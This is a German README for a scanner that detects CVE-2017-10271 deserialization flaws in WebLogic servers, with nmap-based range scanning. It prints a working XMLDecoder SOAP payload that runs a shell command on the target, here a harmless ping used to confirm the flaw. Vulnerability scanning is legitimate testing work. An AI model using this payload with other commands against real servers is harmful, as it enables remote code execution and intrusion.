
Ein Java-Deserialisierungs-Schwachstellenscanner für ähnliche Schwachstellen wie CVE-2017-10271
Ein Scanner für Java-Deserialisierungs-Schwachstellen wie CVE-2017-10271. Dieses Projekt enthält nur einen PoC (Proof of Concept); weitere wurden vorerst nicht aufbereitet.
nmap installieren
https://nmap.org/download.html – Je nach Betriebssystem die entsprechende Version herunterladen und installieren.
Drittanbieter-Pakete installieren
pip install -r requirements.txt
Scannen
Ändern Sie im PoC die IP-Adresse im Ping-Befehl in Ihre eigene IP-Adresse.
Ändern Sie den Sniff-Code in Zeile 25
sniff(filter='icmp and yourIP',prn=packet_callback)
java_scan.py -i IP-Adresse [Optionen]
java_scan.py -h für Hilfe
Vor der Verwendung muss der PoC geändert werden: Die IP-Adresse im Ping-Befehl muss durch Ihre eigene IP-Adresse ersetzt werden.
Der PoC besteht aus zwei JSON-Dateien, eine für Windows und eine für Linux (derzeit gibt es keine Funktion zur Angabe des PoC-Pfades; diese Funktion wird in einer zukünftigen Version hinzugefügt). Bitte benennen Sie die PoC-Dateien im Programmverzeichnis als poc.json und poc_win.json.
Über das PoC-Format (Linux-Version, Windows-Version ähnlich)
{
"url":"wls-wsat/CoordinatorPortType",
"header": "Content-Type:text/xml",
"data": [
"<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>",
"<soapenv:Header>",
"<work:WorkContext xmlns:work='http://bea.com/2004/06/soap/workarea/'>",
"<java version='1.8.0_131' class='java.beans.XMLDecoder'>",
"<void class='java.lang.ProcessBuilder'>",
"<array class='java.lang.String' length='3'>",
"<void index='0'>",
"<string>/bin/bash</string>",
"</void>",
"<void index='1'>",
"<string>-c</string>",
"</void>",
"<void index='2'>",
"<string>ping 10.60.18.5 -c 2</string>",
"</void>",
"</array>",
"<void method='start'/></void>",
"</java>",
"</work:WorkContext>",
"</soapenv:Header>",
"<soapenv:Body/>",
"</soapenv:Envelope>"
]
}
url gibt das Verzeichnis für die Schwachstellenausnutzung an, header gibt den neu hinzugefügten Header des POST-Pakets an, data sind die zu sendenden serialisierten Inhalte.
Achtung: Dieser PoC sendet 2 Ping-Pakete an das anfällige System. Die Schwachstelle wird nur als vorhanden erkannt, wenn das Programm ICMP-Pakete empfängt.
Standardmäßig ruft das Programm nmap auf, um das LAN zu scannen.
java_scan.py -i 192.168.0.1
Dieser Scan prüft den Port 7001 des Hosts 192.168.0.1.
Einzelne IP und Port angeben:
java_scan.py -i 192.168.0.1 -p 7001
Mehrere IPs und Ports angeben:
java_scan.py -i 192.168.0.1,2,55 -p 7001,8001,9001
IP-Bereich und Port-Bereich angeben:
java_scan.py -i 192.168.0.1-255 -p 7000-8000
Mit dem Parameter -f wird Socket zur schnellen Port-Erkennung verwendet:
java_scan.py -i 192.168.0.1-255 -p 7001 -f
Anzahl der Threads für die schnelle Port-Erkennung angeben:
java_scan.py -i 192.168.0.1-255 -p 7001 -f -t 100
